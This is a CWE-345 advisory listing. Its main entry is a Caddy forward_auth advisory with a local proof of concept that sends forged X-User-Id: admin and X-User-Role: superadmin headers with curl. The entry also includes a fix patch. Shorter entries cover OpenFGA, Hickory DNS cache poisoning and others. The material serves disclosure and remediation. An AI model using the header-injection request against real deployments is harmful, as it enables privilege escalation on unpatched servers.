CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
949 vulnerabilities reference this CWE, most recent first.
GHSA-7R4P-VJF4-GXV4
Vulnerability from github – Published: 2026-03-06 23:38 – Updated: 2026-03-09 15:50Summary
Caddy's forward_auth directive with copy_headers generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.
When an auth service returns 200 OK without one of the configured copy_headers headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.
This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.
Scope Argument
This is a bug in the source code of this repository, not a misconfiguration.
The operator uses forward_auth with copy_headers exactly as documented. The documentation contains no warning that client-supplied headers with the same names as copy_headers entries must also be stripped manually. The forward_auth directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in copy_headers.
The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a MatchNot guard to skip the Set operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional Set provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.
The fix is a single-line code change in modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go.
Affected Versions
| Version | Vulnerable |
|---|---|
| <= v2.9.x | No (old code overwrote client value with empty placeholder) |
| v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 |
| v2.10.1 | Yes |
| v2.10.2 | Yes |
| v2.11.0 | Yes |
| v2.11.1 (February 23, 2026, current) | Yes — unpatched |
Package: github.com/caddyserver/caddy/v2
Affected file: modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
Root Cause
The parseCaddyfile function builds one route per copy_headers entry. Each route uses a MatchNot guard and a Set operation:
// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)
copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{
MatcherSetsRaw: []caddy.ModuleMap{{
"not": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{
"vars": h.JSON(caddyhttp.VarsMatcher{
"{" + placeholderName + "}": []string{""},
}),
}}}),
}},
HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(
handler, "handler", "headers", nil,
)},
})
The route runs only when {http.reverse_proxy.header.X-User-Id} (the auth service's response header) is non-empty. When the auth service does not return X-User-Id, the placeholder is empty, the MatchNot guard fires, the route is skipped, and the original client-supplied X-User-Id header is never removed.
There is no Delete operation anywhere in this function.
Minimal Reproduction Config
Caddyfile (no redactions, as required):
{
admin off
auto_https off
debug
}
:8080 {
forward_auth 127.0.0.1:9091 {
uri /
copy_headers X-User-Id X-User-Role
}
reverse_proxy 127.0.0.1:9092
}
Reproduction Steps
No containers, VMs, or external services are used. All services run as local processes.
Step 1 — Start the auth service
Save as auth.py and run python3 auth.py in a terminal:
# auth.py
# Accepts any Bearer token, returns 200 OK with NO identity headers.
# Represents a stateless JWT validator that checks signature only.
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
auth = self.headers.get('Authorization', '')
code = 200 if auth.startswith('Bearer ') else 401
self.send_response(code)
self.end_headers()
sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\n')
sys.stdout.flush()
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 9091), H).serve_forever()
Step 2 — Start the backend
Save as backend.py and run python3 backend.py in a second terminal:
# backend.py
# Echoes the identity headers it receives.
import sys, json
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
data = {
'X-User-Id': self.headers.get('X-User-Id', '(absent)'),
'X-User-Role': self.headers.get('X-User-Role', '(absent)'),
}
body = json.dumps(data, indent=2).encode()
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
sys.stdout.write(f'[backend] saw: {data}\n')
sys.stdout.flush()
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 9092), H).serve_forever()
Step 3 — Start Caddy
caddy run --config Caddyfile --adapter caddyfile
Step 4 — Run the three test cases
Test A: No token — must be blocked (confirms auth is enforced)
curl -v http://127.0.0.1:8080/
Expected: HTTP/1.1 401
Test B: Valid token, no injected headers (baseline)
curl -v http://127.0.0.1:8080/ \
-H "Authorization: Bearer token123"
Expected backend response:
{
"X-User-Id": "(absent)",
"X-User-Role": "(absent)"
}
Test C: ATTACK — valid token plus injected identity headers
curl -v http://127.0.0.1:8080/ \
-H "Authorization: Bearer token123" \
-H "X-User-Id: admin" \
-H "X-User-Role: superadmin"
Actual backend response (demonstrates the vulnerability):
{
"X-User-Id": "admin",
"X-User-Role": "superadmin"
}
The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return X-User-Id or X-User-Role. Caddy skipped the Set operation due to the MatchNot guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.
Test C is the proof of the vulnerability.
The attack requires only a valid (non-privileged) token. No admin account is needed.
Full Debug Log
Run Caddy with debug in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:
DEBUG http.handlers.reverse_proxy selected upstream {"dial": "127.0.0.1:9091"}
DEBUG http.handlers.reverse_proxy upstream responded {"status": 200}
DEBUG http.handlers.reverse_proxy handling response {"handler": "copy_headers"}
Note that no log line will show a header deletion because no deletion occurs. The X-User-Id and X-User-Role headers are never touched.
Impact
Any deployment using forward_auth with copy_headers where the auth service validates credentials without returning identity headers in its response. This is common in:
- Stateless JWT validators (verify signature, no response headers)
- Session validators that leave identity decoding to the backend
- Auth services where only some requests return identity headers
Attack:
1. Attacker has any valid auth token
2. Attacker sends request with forged X-User-Id: admin and X-User-Role: superadmin
3. Auth service validates token, returns 200 OK, no identity headers
4. Caddy skips Set (placeholder empty), never deletes original headers
5. Backend receives X-User-Id: admin, X-User-Role: superadmin
6. Backend grants admin access
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1 High
Working Patch
--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)
copyHeaderRoutes := []caddyhttp.Route{}
for _, from := range sortedHeadersToCopy {
to := http.CanonicalHeaderKey(headersToCopy[from])
placeholderName := "http.reverse_proxy.header." + http.CanonicalHeaderKey(from)
+
+ // Security fix: unconditionally delete the client-supplied header
+ // before the conditional set runs. Without this, a client that
+ // pre-supplies a header listed in copy_headers can inject arbitrary
+ // values when the auth service does not return that header, because
+ // the MatchNot guard below skips the Set entirely (leaving the
+ // original client value intact).
+ copyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{
+ HandlersRaw: []json.RawMessage{
+ caddyconfig.JSONModuleObject(
+ &headers.Handler{
+ Request: &headers.HeaderOps{
+ Delete: []string{to},
+ },
+ },
+ "handler", "headers", nil,
+ ),
+ },
+ })
+
handler := &headers.Handler{
Request: &headers.HeaderOps{
Set: http.Header{
The delete route has no matcher, so it always runs. It fires before the existing MatchNot + Set route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent Set then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing.
This is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.
Uniqueness Confirmation
The following were checked and confirmed not to cover this vulnerability:
- All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g
- GitHub issue #7459 (malformed Host header)
- GitHub issue #6610 (template placeholder leakage in copy_headers — fixed by PR #6608, which introduced this regression)
- All Caddy community forum threads on
forward_auth,copy_headers, and header stripping - CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy)
- CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core)
- PR #6608 comment thread (no security discussion)
- cvedetails.com Caddy product listing (no matching CVE)
No prior report exists for this specific behavior.
References
- Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go
- PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608
- Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610
- forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth
Fix
Fix PR - https://github.com/caddyserver/caddy/pull/7545
AI Disclosure
An LLM was used to polish the report.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0"
},
{
"fixed": "2.11.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30851"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-06T23:38:44Z",
"nvd_published_at": "2026-03-07T17:15:52Z",
"severity": "HIGH"
},
"details": "## Summary\n\nCaddy\u0027s `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.\n\nWhen an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.\n\nThis is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.\n\n---\n\n## Scope Argument\n\nThis is a bug in the source code of this repository, not a misconfiguration.\n\nThe operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`.\n\nThe bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker\u0027s value survives.\n\nThe fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`.\n\n---\n\n## Affected Versions\n\n| Version | Vulnerable |\n|---|---|\n| \u003c= v2.9.x | No (old code overwrote client value with empty placeholder) |\n| v2.10.0 (April 18, 2025) | Yes \u2014 first stable release containing PR #6608 |\n| v2.10.1 | Yes |\n| v2.10.2 | Yes |\n| v2.11.0 | Yes |\n| v2.11.1 (February 23, 2026, current) | Yes \u2014 unpatched |\n\n**Package:** `github.com/caddyserver/caddy/v2`\n**Affected file:** `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`\n\n---\n\n## Root Cause\n\nThe `parseCaddyfile` function builds one route per `copy_headers` entry. Each route uses a `MatchNot` guard and a `Set` operation:\n\n```go\n// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)\ncopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n MatcherSetsRaw: []caddy.ModuleMap{{\n \"not\": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{\n \"vars\": h.JSON(caddyhttp.VarsMatcher{\n \"{\" + placeholderName + \"}\": []string{\"\"},\n }),\n }}}),\n }},\n HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(\n handler, \"handler\", \"headers\", nil,\n )},\n})\n```\n\nThe route runs only when `{http.reverse_proxy.header.X-User-Id}` (the auth service\u0027s response header) is non-empty. When the auth service does not return `X-User-Id`, the placeholder is empty, the `MatchNot` guard fires, the route is skipped, and the original client-supplied `X-User-Id` header is never removed.\n\nThere is no `Delete` operation anywhere in this function.\n\n---\n\n## Minimal Reproduction Config\n\n**Caddyfile** (no redactions, as required):\n\n```\n{\n admin off\n auto_https off\n debug\n}\n\n:8080 {\n forward_auth 127.0.0.1:9091 {\n uri /\n copy_headers X-User-Id X-User-Role\n }\n reverse_proxy 127.0.0.1:9092\n}\n```\n\n---\n\n## Reproduction Steps\n\nNo containers, VMs, or external services are used. All services run as local processes.\n\n### Step 1 \u2014 Start the auth service\n\nSave as `auth.py` and run `python3 auth.py` in a terminal:\n\n```python\n# auth.py\n# Accepts any Bearer token, returns 200 OK with NO identity headers.\n# Represents a stateless JWT validator that checks signature only.\nimport sys\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n auth = self.headers.get(\u0027Authorization\u0027, \u0027\u0027)\n code = 200 if auth.startswith(\u0027Bearer \u0027) else 401\n self.send_response(code)\n self.end_headers()\n sys.stdout.write(f\u0027[auth] {self.command} {self.path} -\u003e {code}\\n\u0027)\n sys.stdout.flush()\n def log_message(self, *a): pass\n\nHTTPServer((\u0027127.0.0.1\u0027, 9091), H).serve_forever()\n```\n\n### Step 2 \u2014 Start the backend\n\nSave as `backend.py` and run `python3 backend.py` in a second terminal:\n\n```python\n# backend.py\n# Echoes the identity headers it receives.\nimport sys, json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n data = {\n \u0027X-User-Id\u0027: self.headers.get(\u0027X-User-Id\u0027, \u0027(absent)\u0027),\n \u0027X-User-Role\u0027: self.headers.get(\u0027X-User-Role\u0027, \u0027(absent)\u0027),\n }\n body = json.dumps(data, indent=2).encode()\n self.send_response(200)\n self.send_header(\u0027Content-Type\u0027, \u0027application/json\u0027)\n self.send_header(\u0027Content-Length\u0027, str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n sys.stdout.write(f\u0027[backend] saw: {data}\\n\u0027)\n sys.stdout.flush()\n def log_message(self, *a): pass\n\nHTTPServer((\u0027127.0.0.1\u0027, 9092), H).serve_forever()\n```\n\n### Step 3 \u2014 Start Caddy\n\n```bash\ncaddy run --config Caddyfile --adapter caddyfile\n```\n\n### Step 4 \u2014 Run the three test cases\n\n**Test A: No token \u2014 must be blocked (confirms auth is enforced)**\n\n```bash\ncurl -v http://127.0.0.1:8080/\n```\n\nExpected: `HTTP/1.1 401`\n\n---\n\n**Test B: Valid token, no injected headers (baseline)**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n -H \"Authorization: Bearer token123\"\n```\n\nExpected backend response:\n```json\n{\n \"X-User-Id\": \"(absent)\",\n \"X-User-Role\": \"(absent)\"\n}\n```\n\n---\n\n**Test C: ATTACK \u2014 valid token plus injected identity headers**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n -H \"Authorization: Bearer token123\" \\\n -H \"X-User-Id: admin\" \\\n -H \"X-User-Role: superadmin\"\n```\n\nActual backend response (demonstrates the vulnerability):\n```json\n{\n \"X-User-Id\": \"admin\",\n \"X-User-Role\": \"superadmin\"\n}\n```\n\nThe backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.\n\n**Test C is the proof of the vulnerability.**\n\nThe attack requires only a valid (non-privileged) token. No admin account is needed.\n\n---\n\n## Full Debug Log\n\nRun Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:\n\n```\nDEBUG http.handlers.reverse_proxy selected upstream {\"dial\": \"127.0.0.1:9091\"}\nDEBUG http.handlers.reverse_proxy upstream responded {\"status\": 200}\nDEBUG http.handlers.reverse_proxy handling response {\"handler\": \"copy_headers\"}\n```\n\nNote that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched.\n\n---\n\n## Impact\n\nAny deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in:\n\n- Stateless JWT validators (verify signature, no response headers)\n- Session validators that leave identity decoding to the backend\n- Auth services where only some requests return identity headers\n\nAttack:\n1. Attacker has any valid auth token\n2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin`\n3. Auth service validates token, returns `200 OK`, no identity headers\n4. Caddy skips `Set` (placeholder empty), never deletes original headers\n5. Backend receives `X-User-Id: admin`, `X-User-Role: superadmin`\n6. Backend grants admin access\n\nCVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1 High**\n\n---\n\n## Working Patch\n\n```diff\n--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)\n \tcopyHeaderRoutes := []caddyhttp.Route{}\n \tfor _, from := range sortedHeadersToCopy {\n \t\tto := http.CanonicalHeaderKey(headersToCopy[from])\n \t\tplaceholderName := \"http.reverse_proxy.header.\" + http.CanonicalHeaderKey(from)\n+\n+\t\t// Security fix: unconditionally delete the client-supplied header\n+\t\t// before the conditional set runs. Without this, a client that\n+\t\t// pre-supplies a header listed in copy_headers can inject arbitrary\n+\t\t// values when the auth service does not return that header, because\n+\t\t// the MatchNot guard below skips the Set entirely (leaving the\n+\t\t// original client value intact).\n+\t\tcopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n+\t\t\tHandlersRaw: []json.RawMessage{\n+\t\t\t\tcaddyconfig.JSONModuleObject(\n+\t\t\t\t\t\u0026headers.Handler{\n+\t\t\t\t\t\tRequest: \u0026headers.HeaderOps{\n+\t\t\t\t\t\t\tDelete: []string{to},\n+\t\t\t\t\t\t},\n+\t\t\t\t\t},\n+\t\t\t\t\t\"handler\", \"headers\", nil,\n+\t\t\t\t),\n+\t\t\t},\n+\t\t})\n+\n \t\thandler := \u0026headers.Handler{\n \t\t\tRequest: \u0026headers.HeaderOps{\n \t\t\t\tSet: http.Header{\n```\n\nThe `delete` route has no matcher, so it always runs. It fires before the existing `MatchNot + Set` route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent `Set` then applies the correct value. If the auth service does not provide the header, the client\u0027s value is gone and the backend receives nothing.\n\nThis is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.\n\n---\n\n## Uniqueness Confirmation\n\nThe following were checked and confirmed not to cover this vulnerability:\n\n- All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g\n- GitHub issue #7459 (malformed Host header)\n- GitHub issue #6610 (template placeholder leakage in copy_headers \u2014 fixed by PR #6608, which introduced this regression)\n- All Caddy community forum threads on `forward_auth`, `copy_headers`, and header stripping\n- CVE-2026-25748 (authentik auth bypass \u2014 root cause is in authentik cookie parsing, not Caddy)\n- CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core)\n- PR #6608 comment thread (no security discussion)\n- cvedetails.com Caddy product listing (no matching CVE)\n\nNo prior report exists for this specific behavior.\n\n---\n\n## References\n\n- Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n- PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608\n- Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610\n- forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth\n\n---\n\n## Fix\nFix PR - https://github.com/caddyserver/caddy/pull/7545\n\n---\n\n## AI Disclosure\n\nAn LLM was used to polish the report.",
"id": "GHSA-7r4p-vjf4-gxv4",
"modified": "2026-03-09T15:50:54Z",
"published": "2026-03-06T23:38:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-7r4p-vjf4-gxv4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30851"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/issues/6610"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/pull/6608"
},
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/pull/7545"
},
{
"type": "PACKAGE",
"url": "https://github.com/caddyserver/caddy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation"
}
GHSA-7X8J-M6Q2-X954
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14Enbra EWM 1.7.29 does not check for or detect replay attacks sent by wireless M-Bus Security mode 5 devices. Instead timestamps of the sensor are replaced by the time of the readout even if the data is a replay of earlier data.
{
"affected": [],
"aliases": [
"CVE-2021-34572"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-16T13:15:00Z",
"severity": "MODERATE"
},
"details": "Enbra EWM 1.7.29 does not check for or detect replay attacks sent by wireless M-Bus Security mode 5 devices. Instead timestamps of the sensor are replaced by the time of the readout even if the data is a replay of earlier data.",
"id": "GHSA-7x8j-m6q2-x954",
"modified": "2022-05-24T19:14:51Z",
"published": "2022-05-24T19:14:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34572"
},
{
"type": "WEB",
"url": "https://www.fit.vutbr.cz/~polcak/CVE-2021-34572.en"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7XPM-33WP-WG2W
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36Samsung Magician 5.0 fails to validate TLS certificates for HTTPS software update traffic. Prior to version 5.0, Samsung Magician uses HTTP for software updates.
{
"affected": [],
"aliases": [
"CVE-2017-3218"
],
"database_specific": {
"cwe_ids": [
"CWE-295",
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-21T20:29:00Z",
"severity": "HIGH"
},
"details": "Samsung Magician 5.0 fails to validate TLS certificates for HTTPS software update traffic. Prior to version 5.0, Samsung Magician uses HTTP for software updates.",
"id": "GHSA-7xpm-33wp-wg2w",
"modified": "2022-05-13T01:36:42Z",
"published": "2022-05-13T01:36:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3218"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/846320"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99081"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-82FC-M9M7-W2MG
Vulnerability from github – Published: 2022-05-17 03:28 – Updated: 2022-05-17 03:28The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in-the-middle attackers to execute arbitrary code by spoofing the update server and uploading an executable.
{
"affected": [],
"aliases": [
"CVE-2014-4936"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-12-16T18:59:00Z",
"severity": "HIGH"
},
"details": "The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in-the-middle attackers to execute arbitrary code by spoofing the update server and uploading an executable.",
"id": "GHSA-82fc-m9m7-w2mg",
"modified": "2022-05-17T03:28:33Z",
"published": "2022-05-17T03:28:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4936"
},
{
"type": "WEB",
"url": "http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/130244/Malwarebytes-Anti-Malware-Anti-Exploit-Update-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-82WG-VGC4-3633
Vulnerability from github – Published: 2023-01-11 09:30 – Updated: 2023-01-19 00:30Insufficient validation of address mapping to IO in ASP (AMD Secure Processor) may result in a loss of memory integrity in the SNP guest.
{
"affected": [],
"aliases": [
"CVE-2021-26396"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-11T08:15:00Z",
"severity": "MODERATE"
},
"details": "Insufficient validation of address mapping to IO in ASP (AMD Secure Processor) may result in a loss of memory integrity in the SNP guest.",
"id": "GHSA-82wg-vgc4-3633",
"modified": "2023-01-19T00:30:31Z",
"published": "2023-01-11T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26396"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-1032"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8396-JFFM-QX4W
Vulnerability from github – Published: 2026-06-11 20:28 – Updated: 2026-06-11 20:28Description
In OpenFGA, when iterator caching is enabled, two distinct check requests can produce the same cache key, leading to OpenFGA reusing an earlier cached result for a subsequent request.
Preconditions
This applies if the following preconditions are present:
- FGA runs with SharedIteratorCache enabled,
- FGA runs with ListObjectsIteratorCache enabled.
Fix
Upgrade to version 1.16.0 or greater.
Acknowledgements
OpenFGA would like to thank @j4xT for the discovery and the detailed report.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openfga/openfga"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48096"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-11T20:28:18Z",
"nvd_published_at": "2026-06-10T16:17:09Z",
"severity": "MODERATE"
},
"details": "### Description\nIn OpenFGA, when iterator caching is enabled, two distinct check requests can produce the same cache key, leading to OpenFGA reusing an earlier cached result for a subsequent request.\n\n### Preconditions\nThis applies if the following preconditions are present:\n\n- FGA runs with SharedIteratorCache enabled,\n- FGA runs with ListObjectsIteratorCache enabled.\n\n### Fix\nUpgrade to version 1.16.0 or greater.\n\n### Acknowledgements\nOpenFGA would like to thank @j4xT for the discovery and the detailed report.",
"id": "GHSA-8396-jffm-qx4w",
"modified": "2026-06-11T20:28:18Z",
"published": "2026-06-11T20:28:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openfga/openfga/security/advisories/GHSA-8396-jffm-qx4w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48096"
},
{
"type": "PACKAGE",
"url": "https://github.com/openfga/openfga"
},
{
"type": "WEB",
"url": "https://github.com/openfga/openfga/releases/tag/v1.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenFGA has cache-key delimiter injection in shared-iterator and v2 iterator that caches enables intra-store authorization-decision poisoning"
}
GHSA-83HF-93M4-RGWQ
Vulnerability from github – Published: 2026-04-30 18:10 – Updated: 2026-04-30 18:10Summary
The Hickory DNS project's experimental hickory-recursor crate's record cache (DnsLru) stores records from DNS responses keyed by each record's own (name, type), not by the query that triggered the response. cache_response() in crates/recursor/src/lib.rs chains ANSWER, AUTHORITY, and ADDITIONAL sections into one record iterator before insertion. The bailiwick filter it applies uses the zone context of the NS pool that serviced the lookup, not the zone being queried.
This creates a cross-zone poisoning path. When Hickory builds the NS pool for attacker.poc. it uses the parent poc. NS pool (ns.zone() = "poc."). If the poc. nameserver under the attacker's control includes in its response's AUTHORITY section a record for a sibling zone like victim.poc. NS ns.evil.poc., the bailiwick check is_subzone("poc.", "victim.poc.") passes (victim.poc. is a subdomain of poc.). The record is stored under (victim.poc., NS) in the shared cache.
Subsequently, any client querying a name in victim.poc. causes Hickory to build its NS pool from the poisoned cache entry, routing queries to the attacker's nameserver (ns.evil.poc.) rather than to the legitimate nameserver for victim.poc.. The legitimate NS for that zone receives zero queries.
This issue is fixed in hickory-resolver 0.26.0 with the recursor feature through an architectural change to response-level caching: responses are stored keyed by the originating query (name, type). A response to (attacker.poc. NS) is stored only under that key and cannot affect the (victim.poc., NS) cache entry.
Hickory DNS believes this issue has been present in all published versions of the experimental hickory-recursor crate, which has now been folded into the hickory-resolver crate under the non-default recursor feature flag. The hickory-recursor crate will not receive any updates going forward and all users should migrate to hickory-resolver with the recursor feature.
